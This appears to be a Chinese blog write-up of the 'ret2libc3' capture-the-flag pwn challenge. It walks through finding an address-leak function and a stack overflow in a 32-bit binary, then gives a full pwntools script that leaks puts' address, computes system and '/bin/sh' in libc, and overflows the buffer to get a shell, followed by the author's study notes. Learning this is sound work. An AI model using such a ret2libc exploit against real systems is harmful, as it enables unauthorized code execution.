ret2libc3

checksec一下
image
32位。
image
看到main里面,可以看到调用多次puts,两次输入
image
See-something这里可以看到可以有一个泄漏利用点。
image
这里可以看到可以利用的溢出点。
仔细看看,发现没有system函数和,bin/sh/,那就是ret2libc
那么思路就是利用See_something,泄漏出puts函数的真实地址,进而通过偏移量得到system函数。
然后完成溢出,进行攻击。

点击查看代码
from pwn import *
context.log_level='debug'
io=process("./ret2libc3")
elf=ELF("./ret2libc3")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
payload=str(puts_got)
io.recvuntil("Give me an address (in dec) :")
io.send(payload)
io.recvuntil("The content of the address : ")
puts_real_addr= int(io.recv(10),16)
libcbase=puts_real_addr-libc.sym["puts"]
sys_addr=libcbase+libc.sym["system"]
bin_sh=libc.search("/bin/sh\x00").next()+libcbase
payload='a'*(0x38+4)+p32(sys_addr)+'a'*4+p32(bin_sh)
io.sendline(payload)
io.interactive()
里面还是有很多不知道的知识点,记录一下。

1、context.log_level='debug'
是开启debug也就是边改边打

2、libc=ELF("/lib/i386-linux-gnu/libc.so.6")
这里的libc版本用ldd+文件名查找,我们要的gadget都在里面可以找

3、io.recvuntil("The content of the address : ")、
The content of the address :
注意是两个空格,冒号前后,这里是查找到了puts函数的真实地址

4、libc.search("/bin/sh\x00").next()
查找字符串的地址

5、payload='a'(0x38+4)+p32(sys_addr)+'a'4+p32(bin_sh)
这里的'a'*4是因为函数调用时部分函数第一句的汇编实现是
push ebp
然后就32位程序嘛,补个4位辣鸡数据。

image

posted @ 2022-04-14 16:01  REPWNER  阅读(20)  评论(0)    收藏  举报